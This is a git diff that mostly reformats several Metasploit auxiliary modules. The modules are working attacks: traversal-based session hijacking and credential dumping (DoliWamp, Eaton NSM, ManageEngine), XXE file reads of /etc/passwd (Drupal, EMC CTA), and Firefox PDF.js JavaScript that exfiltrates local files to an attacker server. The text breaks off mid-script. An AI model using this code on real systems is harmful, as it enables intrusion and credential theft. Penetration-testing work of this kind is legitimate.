b/modules/auxiliary/gather/doliwamp_traversal_creds.rb @@ -8,31 +8,39 @@ class MetasploitModule < Msf::Auxiliary include Msf::Exploit::Remote::HttpClient def initialize(info = {}) - super(update_info( - info, - 'Name' => "DoliWamp 'jqueryFileTree.php' Traversal Gather Credentials", - 'Description' => %q{ + super( + update_info( + info, + 'Name' => "DoliWamp 'jqueryFileTree.php' Traversal Gather Credentials", + 'Description' => %q{ This module will extract user credentials from DoliWamp - a WAMP - packaged installer distribution for Dolibarr ERP on Windows - versions - 3.3.0 to 3.4.2 by hijacking a user's session. DoliWamp stores session - tokens in filenames in the 'tmp' directory. A directory traversal - vulnerability in 'jqueryFileTree.php' allows unauthenticated users - to retrieve session tokens by listing the contents of this directory. - Note: All tokens expire after 30 minutes of inactivity by default. - }, - 'License' => MSF_LICENSE, - 'Author' => 'bcoles', - 'References' => - [ + packaged installer distribution for Dolibarr ERP on Windows - versions + 3.3.0 to 3.4.2 by hijacking a user's session. DoliWamp stores session + tokens in filenames in the 'tmp' directory. A directory traversal + vulnerability in 'jqueryFileTree.php' allows unauthenticated users + to retrieve session tokens by listing the contents of this directory. + Note: All tokens expire after 30 minutes of inactivity by default. + }, + 'License' => MSF_LICENSE, + 'Author' => 'bcoles', + 'References' => [ ['URL', 'https://doliforge.org/tracker/?func=detail&aid=1212&group_id=144'], ['URL', 'https://github.com/Dolibarr/dolibarr/commit/8642e2027c840752c4357c4676af32fe342dc0cb'] ], - 'DisclosureDate' => '2014-01-12')) + 'DisclosureDate' => '2014-01-12', + 'Notes' => { + 'Reliability' => UNKNOWN_RELIABILITY, + 'Stability' => UNKNOWN_STABILITY, + 'SideEffects' => UNKNOWN_SIDE_EFFECTS + } + ) + ) register_options( [ - OptString.new('TARGETURI', [true, 'The path to Dolibarr', '/dolibarr/']), + OptString.new('TARGETURI', [true, 'The path to Dolibarr', '/dolibarr/']), OptString.new('TRAVERSAL_PATH', [true, 'The traversal path to the application tmp directory', '../../../../../../../../tmp/']) - ]) + ] + ) end # @@ -42,11 +50,12 @@ def get_session_tokens tokens = nil print_status("Finding session tokens...") res = send_request_cgi({ - 'method' => 'POST', - 'uri' => normalize_uri( + 'method' => 'POST', + 'uri' => normalize_uri( target_uri.path, - 'includes/jquery/plugins/jqueryFileTree/connectors/jqueryFileTree.php'), - 'cookie' => @cookie, + 'includes/jquery/plugins/jqueryFileTree/connectors/jqueryFileTree.php' + ), + 'cookie' => @cookie, 'vars_post' => { 'dir' => datastore['TRAVERSAL_PATH'] } }) if !res @@ -69,21 +78,21 @@ def get_session_tokens def get_user_info(user_id) vprint_status("Retrieving user's credentials") res = send_request_cgi({ - 'method' => 'GET', - 'uri' => normalize_uri(target_uri.path, 'user/fiche.php'), - 'cookie' => @cookie, - 'vars_get' => Hash[{ - 'action' => 'edit', - 'id' => "#{user_id}" + 'method' => 'GET', + 'uri' => normalize_uri(target_uri.path, 'user/fiche.php'), + 'cookie' => @cookie, + 'vars_get' => Hash[{ + 'action' => 'edit', + 'id' => "#{user_id}" }.to_a.shuffle] }) if !res print_error("Connection failed") elsif res.body =~ /User card/ record = [ - res.body.scan(/name="login" value="([^"]+)"/ ).flatten.first, - res.body.scan(/name="password" value="([^"]+)"/ ).flatten.first, - res.body.scan(/name="superadmin" value="\d">(Yes|No)/ ).flatten.first, + res.body.scan(/name="login" value="([^"]+)"/).flatten.first, + res.body.scan(/name="password" value="([^"]+)"/).flatten.first, + res.body.scan(/name="superadmin" value="\d">(Yes|No)/).flatten.first, res.body.scan(/name="email" class="flat" value="([^"]+)"/).flatten.first ] unless record.empty? @@ -100,8 +109,8 @@ def get_user_info(user_id) # def get_user_id res = send_request_cgi({ - 'uri' => normalize_uri(target_uri.path, 'user/fiche.php'), - 'cookie' => @cookie + 'uri' => normalize_uri(target_uri.path, 'user/fiche.php'), + 'cookie' => @cookie }) if !res print_error("Connection failed") @@ -119,8 +128,8 @@ def get_user_id # def create_cookie(token) res = send_request_cgi({ - 'uri' => normalize_uri(target_uri.path, 'user/fiche.php'), - 'cookie' => "DOLSESSID_#{Rex::Text.rand_text_alphanumeric(10)}=#{token}" + 'uri' => normalize_uri(target_uri.path, 'user/fiche.php'), + 'cookie' => "DOLSESSID_#{Rex::Text.rand_text_alphanumeric(10)}=#{token}" }) if !res print_error("Connection failed") @@ -136,7 +145,7 @@ def create_cookie(token) # Stolen from modules/auxiliary/scanner/ftp/titanftp_xcrc_traversal.rb # def progress(current, total) - done = (current.to_f / total.to_f) * 100 + done = (current.to_f / total.to_f) * 100 percent = "%3.2f%%" % done.to_f vprint_status("Trying to hijack a session - " + "%7s done (%d/%d tokens)" % [percent, current, total]) @@ -177,6 +186,7 @@ def report_cred(opts) def run return unless tokens = get_session_tokens + credentials = [] print_status("Trying to hijack a session...") tokens.flatten.each_with_index do |token, index| @@ -191,8 +201,8 @@ def run return end cred_table = Rex::Text::Table.new( - 'Header' => 'Dolibarr User Credentials', - 'Indent' => 1, + 'Header' => 'Dolibarr User Credentials', + 'Indent' => 1, 'Columns' => ['Username', 'Password', 'Admin', 'E-mail'] ) credentials.each do |record| @@ -208,17 +218,18 @@ def run end print_line print_line("#{cred_table}") - loot_name = 'dolibarr.traversal.user.credentials' - loot_type = 'text/csv' + loot_name = 'dolibarr.traversal.user.credentials' + loot_type = 'text/csv' loot_filename = 'dolibarr_user_creds.csv' - loot_desc = 'Dolibarr User Credentials' + loot_desc = 'Dolibarr User Credentials' p = store_loot( loot_name, loot_type, rhost, cred_table.to_csv, loot_filename, - loot_desc) + loot_desc + ) print_status("Credentials saved in: #{p}") end end diff --git a/modules/auxiliary/gather/drupal_openid_xxe.rb b/modules/auxiliary/gather/drupal_openid_xxe.rb index 2108ff1644a6a..6b5f77226bba3 100644 --- a/modules/auxiliary/gather/drupal_openid_xxe.rb +++ b/modules/auxiliary/gather/drupal_openid_xxe.rb @@ -9,23 +9,23 @@ class MetasploitModule < Msf::Auxiliary include REXML def initialize(info = {}) - super(update_info(info, - 'Name' => 'Drupal OpenID External Entity Injection', - 'Description' => %q{ - This module abuses an XML External Entity Injection - vulnerability on the OpenID module from Drupal. The vulnerability exists - in the parsing of a malformed XRDS file coming from a malicious OpenID - endpoint. This module has been tested successfully on Drupal 7.15 and - 7.2 with the OpenID module enabled. - }, - 'License' => MSF_LICENSE, - 'Author' => - [ + super( + update_info( + info, + 'Name' => 'Drupal OpenID External Entity Injection', + 'Description' => %q{ + This module abuses an XML External Entity Injection + vulnerability on the OpenID module from Drupal. The vulnerability exists + in the parsing of a malformed XRDS file coming from a malicious OpenID + endpoint. This module has been tested successfully on Drupal 7.15 and + 7.2 with the OpenID module enabled. + }, + 'License' => MSF_LICENSE, + 'Author' => [ 'Reginaldo Silva', # Vulnerability discovery 'juan vazquez' # Metasploit module ], - 'References' => - [ + 'References' => [ [ 'CVE', '2012-4554' ], [ 'OSVDB', '86429' ], [ 'BID', '56103' ], @@ -33,21 +33,27 @@ def initialize(info = {}) [ 'URL', 'https://github.com/drupal/drupal/commit/b9127101ffeca819e74a03fa9f5a48d026c562e5' ], [ 'URL', 'https://www.ubercomp.com/posts/2014-01-16_facebook_remote_code_execution' ] ], - 'DisclosureDate' => '2012-10-17' - )) + 'DisclosureDate' => '2012-10-17', + 'Notes' => { + 'Reliability' => UNKNOWN_RELIABILITY, + 'Stability' => UNKNOWN_STABILITY, + 'SideEffects' => UNKNOWN_SIDE_EFFECTS + } + ) + ) register_options( [ OptString.new('TARGETURI', [ true, "Base Drupal directory path", '/drupal']), OptString.new('FILEPATH', [true, "The filepath to read on the server", "/etc/passwd"]) - ]) - + ] + ) end def xrds_file - element_entity = <<-EOF - - + element_entity = <<~EOF + + EOF xml = Document.new @@ -57,10 +63,11 @@ def xrds_file xml.add_element( "xrds:XRDS", { - 'xmlns:xrds' => "xri://$xrds", - 'xmlns' => "xri://$xrd*($v*2.0)", + 'xmlns:xrds' => "xri://$xrds", + 'xmlns' => "xri://$xrd*($v*2.0)", 'xmlns:openid' => "http://openid.net/xmlns/1.0", - }) + } + ) xrd = xml.root.add_element("XRD") @@ -150,7 +157,6 @@ def primer service.stop end - def on_request_uri(cli, request) if request.uri =~ /#{@prefix}/ vprint_status("Signature found, parsing file...") @@ -164,7 +170,7 @@ def on_request_uri(cli, request) def send_openid_auth(identifier) res = send_request_cgi({ - 'uri' => normalize_uri(target_uri.to_s, "/"), + 'uri' => normalize_uri(target_uri.to_s, "/"), 'method' => 'POST', 'vars_get' => { "q" => "node", @@ -205,6 +211,7 @@ def parse_loot(data) def loot?(data) return false if data.blank? + store(data) return true end @@ -213,6 +220,7 @@ def drupal_with_openid?(http_response, signature) return false if http_response.blank? return false unless http_response.code == 200 return false unless http_response.body =~ /openid_identifier.*#{signature}/ + return true end @@ -220,9 +228,8 @@ def generated_with_drupal?(http_response) return false if http_response.blank? return true if http_response.headers['X-Generator'] and http_response.headers['X-Generator'] =~ /Drupal/ return true if http_response.body and http_response.body.to_s =~ /meta.*Generator.*Drupal/ + return false end - end - diff --git a/modules/auxiliary/gather/eaton_nsm_creds.rb b/modules/auxiliary/gather/eaton_nsm_creds.rb index 109e8baefdcc4..189aceab3bd1c 100644 --- a/modules/auxiliary/gather/eaton_nsm_creds.rb +++ b/modules/auxiliary/gather/eaton_nsm_creds.rb @@ -8,45 +8,52 @@ class MetasploitModule < Msf::Auxiliary include Msf::Exploit::Remote::HttpClient def initialize(info = {}) - super(update_info(info, - 'Name' => 'Network Shutdown Module sort_values Credential Dumper', - 'Description' => %q{ - This module will extract user credentials from Network Shutdown Module - versions 3.21 and earlier by exploiting a vulnerability found in - lib/dbtools.inc, which uses unsanitized user input inside a eval() call. - Please note that in order to extract credentials, the vulnerable service - must have at least one USV module (an entry in the "nodes" table in - mgedb.db). - }, - 'References' => - [ + super( + update_info( + info, + 'Name' => 'Network Shutdown Module sort_values Credential Dumper', + 'Description' => %q{ + This module will extract user credentials from Network Shutdown Module + versions 3.21 and earlier by exploiting a vulnerability found in + lib/dbtools.inc, which uses unsanitized user input inside a eval() call. + Please note that in order to extract credentials, the vulnerable service + must have at least one USV module (an entry in the "nodes" table in + mgedb.db). + }, + 'References' => [ ['OSVDB', '83199'], ['URL', 'https://web.archive.org/web/20121014000855/http://secunia.com/advisories/49103/'] ], - 'Author' => - [ + 'Author' => [ 'h0ng10', 'sinn3r' ], - 'License' => MSF_LICENSE, - 'DisclosureDate' => '2012-06-26' - )) + 'License' => MSF_LICENSE, + 'DisclosureDate' => '2012-06-26', + 'Notes' => { + 'Reliability' => UNKNOWN_RELIABILITY, + 'Stability' => UNKNOWN_STABILITY, + 'SideEffects' => UNKNOWN_SIDE_EFFECTS + } + ) + ) register_options( [ Opt::RPORT(4679) - ]) + ] + ) end def execute_php_code(code, opts = {}) param_name = Rex::Text.rand_text_alpha(6) - padding = Rex::Text.rand_text_alpha(6) - php_code = Rex::Text.encode_base64(code) - url_param = "#{padding}%22%5d,%20eval(base64_decode(%24_POST%5b%27#{param_name}%27%5d))%29;%2f%2f" + padding = Rex::Text.rand_text_alpha(6) + php_code = Rex::Text.encode_base64(code) + url_param = "#{padding}%22%5d,%20eval(base64_decode(%24_POST%5b%27#{param_name}%27%5d))%29;%2f%2f" res = send_request_cgi( { - 'uri' => '/view_list.php', + 'uri' => '/view_list.php', 'method' => 'POST', 'vars_get' => { @@ -60,14 +67,15 @@ def execute_php_code(code, opts = {}) { 'Connection' => 'Close' } - }) + } + ) res end def read_credentials - pattern = Rex::Text.rand_text_numeric(10) + pattern = Rex::Text.rand_text_numeric(10) users_var = Rex::Text.rand_text_alpha(10) - user_var = Rex::Text.rand_text_alpha(10) + user_var = Rex::Text.rand_text_alpha(10) php = <<-EOT $#{users_var} = &queryDB("SELECT * FROM configUsers;"); foreach($#{users_var} as $#{user_var}) { @@ -96,8 +104,8 @@ def run end cred_table = Rex::Text::Table.new( - 'Header' => 'Network Shutdown Module Credentials', - 'Indent' => 1, + 'Header' => 'Network Shutdown Module Credentials', + 'Indent' => 1, 'Columns' => ['Username', 'Password'] ) @@ -108,10 +116,10 @@ def run print_line print_line(cred_table.to_s) - loot_name = "eaton.nsm.credentials" - loot_type = "text/csv" + loot_name = "eaton.nsm.credentials" + loot_type = "text/csv" loot_filename = "eaton_nsm_creds.csv" - loot_desc = "Eaton Network Shutdown Module Credentials" + loot_desc = "Eaton Network Shutdown Module Credentials" p = store_loot(loot_name, loot_type, datastore['RHOST'], cred_table.to_csv, loot_filename, loot_desc) print_good("Credentials saved in: #{p.to_s}") end diff --git a/modules/auxiliary/gather/elasticsearch_enum.rb b/modules/auxiliary/gather/elasticsearch_enum.rb index 40f39248cf68d..e9cfbbac4b9bc 100644 --- a/modules/auxiliary/gather/elasticsearch_enum.rb +++ b/modules/auxiliary/gather/elasticsearch_enum.rb @@ -155,7 +155,7 @@ def get_indices port: rport, proto: 'tcp', type: 'elasticsearch.index', - data: index[0], + data: { index: index[0] }, update: :unique_data ) end diff --git a/modules/auxiliary/gather/emc_cta_xxe.rb b/modules/auxiliary/gather/emc_cta_xxe.rb index 0c9e19284eef2..fa0886f3915ee 100644 --- a/modules/auxiliary/gather/emc_cta_xxe.rb +++ b/modules/auxiliary/gather/emc_cta_xxe.rb @@ -7,25 +7,31 @@ class MetasploitModule < Msf::Auxiliary include Msf::Exploit::Remote::HttpClient def initialize(info = {}) - super(update_info(info, - 'Name' => 'EMC CTA v10.0 Unauthenticated XXE Arbitrary File Read', - 'Description' => %q{ - EMC CTA v10.0 is susceptible to an unauthenticated XXE attack - that allows an attacker to read arbitrary files from the file system - with the permissions of the root user. - }, - 'License' => MSF_LICENSE, - 'Author' => - [ - 'Brandon Perry ', #metasploit module + super( + update_info( + info, + 'Name' => 'EMC CTA v10.0 Unauthenticated XXE Arbitrary File Read', + 'Description' => %q{ + EMC CTA v10.0 is susceptible to an unauthenticated XXE attack + that allows an attacker to read arbitrary files from the file system + with the permissions of the root user. + }, + 'License' => MSF_LICENSE, + 'Author' => [ + 'Brandon Perry ', # metasploit module ], - 'References' => - [ + 'References' => [ ['CVE', '2014-0644'], ['EDB', '32623'] ], - 'DisclosureDate' => '2014-03-31' - )) + 'DisclosureDate' => '2014-03-31', + 'Notes' => { + 'Reliability' => UNKNOWN_RELIABILITY, + 'Stability' => UNKNOWN_STABILITY, + 'SideEffects' => UNKNOWN_SIDE_EFFECTS + } + ) + ) register_options( [ @@ -38,7 +44,6 @@ def initialize(info = {}) end def run - doctype = Rex::Text.rand_text_alpha(6) element = Rex::Text.rand_text_alpha(6) entity = Rex::Text.rand_text_alpha(6) diff --git a/modules/auxiliary/gather/enum_dns.rb b/modules/auxiliary/gather/enum_dns.rb index 216aa542bd8bb..e29d003be6995 100644 --- a/modules/auxiliary/gather/enum_dns.rb +++ b/modules/auxiliary/gather/enum_dns.rb @@ -3,27 +3,35 @@ # Current source: https://github.com/rapid7/metasploit-framework ## - class MetasploitModule < Msf::Auxiliary include Msf::Exploit::Remote::DNS::Enumeration def initialize(info = {}) - super(update_info(info, - 'Name' => 'DNS Record Scanner and Enumerator', - 'Description' => %q( - This module can be used to gather information about a domain from a - given DNS server by performing various DNS queries such as zone - transfers, reverse lookups, SRV record brute forcing, and other techniques. - ), - 'Author' => [ - 'Carlos Perez ', - 'Nixawk' - ], - 'License' => MSF_LICENSE, - 'References' => [ - ['CVE', '1999-0532'], - ['OSVDB', '492'] - ])) + super( + update_info( + info, + 'Name' => 'DNS Record Scanner and Enumerator', + 'Description' => %q{ + This module can be used to gather information about a domain from a + given DNS server by performing various DNS queries such as zone + transfers, reverse lookups, SRV record brute forcing, and other techniques. + }, + 'Author' => [ + 'Carlos Perez ', + 'Nixawk' + ], + 'License' => MSF_LICENSE, + 'References' => [ + ['CVE', '1999-0532'], + ['OSVDB', '492'] + ], + 'Notes' => { + 'Reliability' => UNKNOWN_RELIABILITY, + 'Stability' => UNKNOWN_STABILITY, + 'SideEffects' => UNKNOWN_SIDE_EFFECTS + } + ) + ) register_options( [ @@ -43,7 +51,8 @@ def initialize(info = {}) OptAddressRange.new('IPRANGE', [false, "The target address range or CIDR identifier"]), OptInt.new('THREADS', [false, 'Threads for ENUM_BRT', 1]), OptPath.new('WORDLIST', [false, 'Wordlist of subdomains', ::File.join(Msf::Config.data_directory, 'wordlists', 'namelist.txt')]) - ]) + ] + ) register_advanced_options( [ @@ -51,7 +60,8 @@ def initialize(info = {}) OptInt.new('RETRY', [false, 'Number of times to try to resolve a record if no response is received', 2]), OptInt.new('RETRY_INTERVAL', [false, 'Number of seconds to wait before doing a retry', 2]), OptBool.new('TCP_DNS', [false, 'Run queries over TCP', false]) - ]) + ] + ) deregister_options('DnsClientUdpTimeout', 'DnsClientRetry', 'DnsClientRetryInterval', 'DnsClientTcpDns') end @@ -89,6 +99,7 @@ def run dns_reverse(datastore['IPRANGE'], threads) if datastore['ENUM_RVL'] return unless datastore['ENUM_BRT'] + if is_wildcard dns_bruteforce(domain, datastore['WORDLIST'], threads) unless datastore['STOP_WLDCRD'] else diff --git a/modules/auxiliary/gather/eventlog_cred_disclosure.rb b/modules/auxiliary/gather/eventlog_cred_disclosure.rb index 92caba939f5a9..560779e4e1928 100644 --- a/modules/auxiliary/gather/eventlog_cred_disclosure.rb +++ b/modules/auxiliary/gather/eventlog_cred_disclosure.rb @@ -10,40 +10,47 @@ class MetasploitModule < Msf::Auxiliary include Msf::Auxiliary::Report def initialize(info = {}) - super(update_info(info, - 'Name' => 'ManageEngine Eventlog Analyzer Managed Hosts Administrator Credential Disclosure', - 'Description' => %q{ - ManageEngine Eventlog Analyzer from v7 to v9.9 b9002 has two security vulnerabilities that - allow an unauthenticated user to obtain the superuser password of any managed Windows and - AS/400 hosts. This module abuses both vulnerabilities to collect all the available - usernames and passwords. First the agentHandler servlet is abused to get the hostid and - slid of each device (CVE-2014-6038); then these numeric IDs are used to extract usernames - and passwords by abusing the hostdetails servlet (CVE-2014-6039). Note that on version 7, - the TARGETURI has to be prepended with /event. - }, - 'Author' => - [ + super( + update_info( + info, + 'Name' => 'ManageEngine Eventlog Analyzer Managed Hosts Administrator Credential Disclosure', + 'Description' => %q{ + ManageEngine Eventlog Analyzer from v7 to v9.9 b9002 has two security vulnerabilities that + allow an unauthenticated user to obtain the superuser password of any managed Windows and + AS/400 hosts. This module abuses both vulnerabilities to collect all the available + usernames and passwords. First the agentHandler servlet is abused to get the hostid and + slid of each device (CVE-2014-6038); then these numeric IDs are used to extract usernames + and passwords by abusing the hostdetails servlet (CVE-2014-6039). Note that on version 7, + the TARGETURI has to be prepended with /event. + }, + 'Author' => [ 'Pedro Ribeiro ' # Vulnerability discovery and MSF module ], - 'License' => MSF_LICENSE, - 'References' => - [ + 'License' => MSF_LICENSE, + 'References' => [ [ 'CVE', '2014-6038' ], [ 'CVE', '2014-6039' ], [ 'OSVDB', '114342' ], [ 'OSVDB', '114344' ], [ 'URL', 'https://seclists.org/fulldisclosure/2014/Nov/12' ] ], - 'DisclosureDate' => '2014-11-05')) + 'DisclosureDate' => '2014-11-05', + 'Notes' => { + 'Reliability' => UNKNOWN_RELIABILITY, + 'Stability' => UNKNOWN_STABILITY, + 'SideEffects' => UNKNOWN_SIDE_EFFECTS + } + ) + ) register_options( [ Opt::RPORT(8400), - OptString.new('TARGETURI', [ true, 'Eventlog Analyzer application URI (should be /event for version 7)', '/']), - ]) + OptString.new('TARGETURI', [ true, 'Eventlog Analyzer application URI (should be /event for version 7)', '/']), + ] + ) end - def decode_password(encoded_password) password_xor = Rex::Text.decode_base64(encoded_password) password = '' @@ -53,11 +60,10 @@ def decode_password(encoded_password) return password end - def run res = send_request_cgi({ 'uri' => normalize_uri(target_uri.path, 'agentHandler'), - 'method' =>'GET', + 'method' => 'GET', 'vars_get' => { 'mode' => 'getTableData', 'table' => 'HostDetails' @@ -72,7 +78,7 @@ def run # When passwords have digits the XML parsing will fail. # Replace with an empty password attribute so that we know the device has a password # and therefore we want to add it to our host list. - xml = res.body.to_s.gsub(/&#[0-9]*;/,Rex::Text.rand_text_alpha(6)) + xml = res.body.to_s.gsub(/&#[0-9]*;/, Rex::Text.rand_text_alpha(6)) begin doc = REXML::Document.new(xml) rescue @@ -89,8 +95,8 @@ def run end cred_table = Rex::Text::Table.new( - 'Header' => 'ManageEngine EventLog Analyzer Managed Devices Credentials', - 'Indent' => 1, + 'Header' => 'ManageEngine EventLog Analyzer Managed Devices Credentials', + 'Indent' => 1, 'Columns' => [ 'Host', @@ -105,7 +111,7 @@ def run slid_host_ary.each do |host| res = send_request_cgi({ 'uri' => normalize_uri(target_uri.path, 'hostdetails'), - 'method' =>'GET', + 'method' => 'GET', 'vars_get' => { 'slid' => host[0], 'hostid' => host[1] @@ -160,9 +166,9 @@ def run end credential_core = report_credential_core({ - password: password, - username: username, - }) + password: password, + username: username, + }) host_login_data = { address: host_ipaddress, @@ -180,22 +186,22 @@ def run print_line print_line("#{cred_table}") - loot_name = 'manageengine.eventlog.managed_hosts.creds' - loot_type = 'text/csv' + loot_name = 'manageengine.eventlog.managed_hosts.creds' + loot_type = 'text/csv' loot_filename = 'manageengine_eventlog_managed_hosts_creds.csv' - loot_desc = 'ManageEngine Eventlog Analyzer Managed Hosts Administrator Credentials' + loot_desc = 'ManageEngine Eventlog Analyzer Managed Hosts Administrator Credentials' p = store_loot( loot_name, loot_type, rhost, cred_table.to_csv, loot_filename, - loot_desc) + loot_desc + ) print_status "Credentials saved in: #{p}" end - - def report_credential_core(cred_opts={}) + def report_credential_core(cred_opts = {}) # Set up the has for our Origin service origin_service_data = { address: rhost, diff --git a/modules/auxiliary/gather/external_ip.rb b/modules/auxiliary/gather/external_ip.rb index 561fb301710ab..ff7b9b60c7e1e 100644 --- a/modules/auxiliary/gather/external_ip.rb +++ b/modules/auxiliary/gather/external_ip.rb @@ -11,19 +11,18 @@ class MetasploitModule < Msf::Auxiliary def initialize super( - 'Name' => 'Discover External IP via Ifconfig.me', + 'Name' => 'Discover External IP via Ifconfig.me', 'Description' => %q{ This module checks for the public source IP address of the current route to the RHOST by querying the public web application at ifconfig.me. It should be noted this module will register activity on ifconfig.me, which is not affiliated with Metasploit. }, - 'Author' => ['RageLtMan '], + 'Author' => ['RageLtMan '], 'License' => MSF_LICENSE, - 'References' => - [ - [ 'URL', 'http://ifconfig.me/ip' ], - ], + 'References' => [ + [ 'URL', 'http://ifconfig.me/ip' ], + ], 'DefaultOptions' => { 'VHOST' => 'ifconfig.me' } ) @@ -31,12 +30,13 @@ def initialize [ Opt::RHOST('ifconfig.me'), OptBool.new('REPORT_HOST', [false, 'Add the found IP to the database', false]) - ]) -end + ] + ) + end def run connect - res = send_request_cgi({'uri' => '/ip', 'method' => 'GET' }) + res = send_request_cgi({ 'uri' => '/ip', 'method' => 'GET' }) if res.nil? print_error("Connection timed out") diff --git a/modules/auxiliary/gather/f5_bigip_cookie_disclosure.rb b/modules/auxiliary/gather/f5_bigip_cookie_disclosure.rb index ea99f5fcbe661..4f04781ca5878 100644 --- a/modules/auxiliary/gather/f5_bigip_cookie_disclosure.rb +++ b/modules/auxiliary/gather/f5_bigip_cookie_disclosure.rb @@ -158,19 +158,19 @@ def run # Reporting found cookie name in database unless cookie_name.empty? - report_note(host: rhost, type: 'f5_load_balancer_cookie_name', data: cookie_name) + report_note(host: rhost, type: 'f5_load_balancer_cookie_name', data: { :cookie_name => cookie_name }) # Reporting found pool name in database unless pool_name.empty? - report_note(host: rhost, type: 'f5_load_balancer_pool_name', data: pool_name) + report_note(host: rhost, type: 'f5_load_balancer_pool_name', data: { :pool_name => pool_name }) end # Reporting found route domain in database unless route_domain.empty? - report_note(host: rhost, type: 'f5_load_balancer_route_domain', data: route_domain) + report_note(host: rhost, type: 'f5_load_balancer_route_domain', data: { :route_domain => route_domain }) end end # Reporting found backends in database unless backends.empty? - report_note(host: rhost, type: 'f5_load_balancer_backends', data: backends) + report_note(host: rhost, type: 'f5_load_balancer_backends', data: { :backends => backends }) end rescue ::Rex::ConnectionRefused, ::Rex::ConnectionError print_error('Network connection error') diff --git a/modules/auxiliary/gather/firefox_pdfjs_file_theft.rb b/modules/auxiliary/gather/firefox_pdfjs_file_theft.rb index e87a5c56f1cbb..3cfad645eee85 100644 --- a/modules/auxiliary/gather/firefox_pdfjs_file_theft.rb +++ b/modules/auxiliary/gather/firefox_pdfjs_file_theft.rb @@ -7,34 +7,41 @@ class MetasploitModule < Msf::Auxiliary include Msf::Exploit::Remote::HttpServer::HTML include Msf::Auxiliary::Report - def initialize(info={}) - super(update_info(info, - 'Name' => 'Firefox PDF.js Browser File Theft', - 'Description' => %q{ - This module abuses an XSS vulnerability in versions prior to Firefox 39.0.3, Firefox ESR - 38.1.1, and Firefox OS 2.2 that allows arbitrary files to be stolen. The vulnerability - occurs in the PDF.js component, which uses Javascript to render a PDF inside a frame with - privileges to read local files. The in-the-wild malicious payloads searched for sensitive - files on Windows, Linux, and OSX. Android versions are reported to be unaffected, as they - do not use the Mozilla PDF viewer. - }, - 'Author' => [ - 'Unknown', # From an 0day served on Russian news website - 'fukusa', # Hacker news member that reported the issue - 'Unknown' # Metasploit module - ], - 'License' => MSF_LICENSE, - 'Actions' => [[ 'WebServer', 'Description' => 'Serve exploit via web server' ]], - 'PassiveActions' => [ 'WebServer' ], - 'References' => - [ + def initialize(info = {}) + super( + update_info( + info, + 'Name' => 'Firefox PDF.js Browser File Theft', + 'Description' => %q{ + This module abuses an XSS vulnerability in versions prior to Firefox 39.0.3, Firefox ESR + 38.1.1, and Firefox OS 2.2 that allows arbitrary files to be stolen. The vulnerability + occurs in the PDF.js component, which uses Javascript to render a PDF inside a frame with + privileges to read local files. The in-the-wild malicious payloads searched for sensitive + files on Windows, Linux, and OSX. Android versions are reported to be unaffected, as they + do not use the Mozilla PDF viewer. + }, + 'Author' => [ + 'Unknown', # From an 0day served on Russian news website + 'fukusa', # Hacker news member that reported the issue + 'Unknown' # Metasploit module + ], + 'License' => MSF_LICENSE, + 'Actions' => [[ 'WebServer', 'Description' => 'Serve exploit via web server' ]], + 'PassiveActions' => [ 'WebServer' ], + 'References' => [ ['URL', 'https://paste.debian.net/290146'], # 0day exploit ['URL', 'https://news.ycombinator.com/item?id=10021376'], # discussion with discoverer ['URL', 'https://blog.mozilla.org/security/2015/08/06/firefox-exploit-found-in-the-wild/'], ['CVE', '2015-4495'] ], - 'DefaultAction' => 'WebServer' - )) + 'DefaultAction' => 'WebServer', + 'Notes' => { + 'Reliability' => UNKNOWN_RELIABILITY, + 'Stability' => UNKNOWN_STABILITY, + 'SideEffects' => UNKNOWN_SIDE_EFFECTS + } + ) + ) register_options([ OptString.new('FILES', [ @@ -88,12 +95,11 @@ def backend_url proto = (datastore['SSL'] ? 'https' : 'http') my_host = (datastore['SRVHOST'] == '0.0.0.0') ? Rex::Socket.source_address : datastore['SRVHOST'] port_str = (datastore['SRVPORT'].to_i == 80) ? '' : ":#{datastore['SRVPORT']}" - resource = ('/' == get_resource[-1,1]) ? get_resource[0, get_resource.length-1] : get_resource + resource = ('/' == get_resource[-1, 1]) ? get_resource[0, get_resource.length - 1] : get_resource "#{proto}://#{my_host}#{port_str}#{resource}/catch" end - def file_payload %Q| var files = (#{JSON.generate(file_urls)}); @@ -118,158 +124,158 @@ def file_urls end def js - <<-EOJS -function xml2string(obj) { - return new XMLSerializer().serializeToString(obj); -} - -function __proto(obj) { - return obj.__proto__.__proto__.__proto__.__proto__.__proto__.__proto__; -} + <<~EOJS + function xml2string(obj) { + return new XMLSerializer().serializeToString(obj); + } -function get(path, callback, timeout, template, value) { - callback = _(callback); - if (template && value) { - callback = callback.replace(template, value); - } - js_call1 = 'javascript:' + _(function() { - try { - open("%url%", "_self"); - } catch (e) { - history.back(); - } - undefined; - }, "%url%", path); - js_call2 = 'javascript:;try{updateHidden();}catch(e){};' + callback + ';undefined'; - sandboxContext(_(function() { - i = document.getElementById('i'); - p = __proto(i.contentDocument.styleSheets[0].ownerNode); - i2 = document.getElementById('i2'); - l = p.__lookupSetter__.call(i2.contentWindow, 'location'); - l.call(i2.contentWindow, window.wrappedJSObject.js_call1); - })); - setTimeout((function() { - sandboxContext(_(function() { - p = __proto(i.contentDocument.styleSheets[0].ownerNode); - l = p.__lookupSetter__.call(i2.contentWindow, 'location'); - l.call(i2.contentWindow, window.wrappedJSObject.js_call2); - })); - }), timeout); -} + function __proto(obj) { + return obj.__proto__.__proto__.__proto__.__proto__.__proto__.__proto__; + } -function get_data(obj) { - data = null; - try { - data = obj.document.documentElement.innerHTML; - if (data.indexOf('dirListing') < 0) { - throw new Error(); - } - } catch (e) { - if (this.document instanceof XMLDocument) { - data = xml2string(this.document); - } else { - try { - if (this.document.body.firstChild.nodeName.toUpperCase() == 'PRE') { - data = this.document.body.firstChild.textContent; - } else { - throw new Error(); + function get(path, callback, timeout, template, value) { + callback = _(callback); + if (template && value) { + callback = callback.replace(template, value); + } + js_call1 = 'javascript:' + _(function() { + try { + open("%url%", "_self"); + } catch (e) { + history.back(); } - } catch (e) { + undefined; + }, "%url%", path); + js_call2 = 'javascript:;try{updateHidden();}catch(e){};' + callback + ';undefined'; + sandboxContext(_(function() { + i = document.getElementById('i'); + p = __proto(i.contentDocument.styleSheets[0].ownerNode); + i2 = document.getElementById('i2'); + l = p.__lookupSetter__.call(i2.contentWindow, 'location'); + l.call(i2.contentWindow, window.wrappedJSObject.js_call1); + })); + setTimeout((function() { + sandboxContext(_(function() { + p = __proto(i.contentDocument.styleSheets[0].ownerNode); + l = p.__lookupSetter__.call(i2.contentWindow, 'location'); + l.call(i2.contentWindow, window.wrappedJSObject.js_call2); + })); + }), timeout); + } + + function get_data(obj) { + data = null; try { - if (this.document.body.baseURI.indexOf('pdf.js') 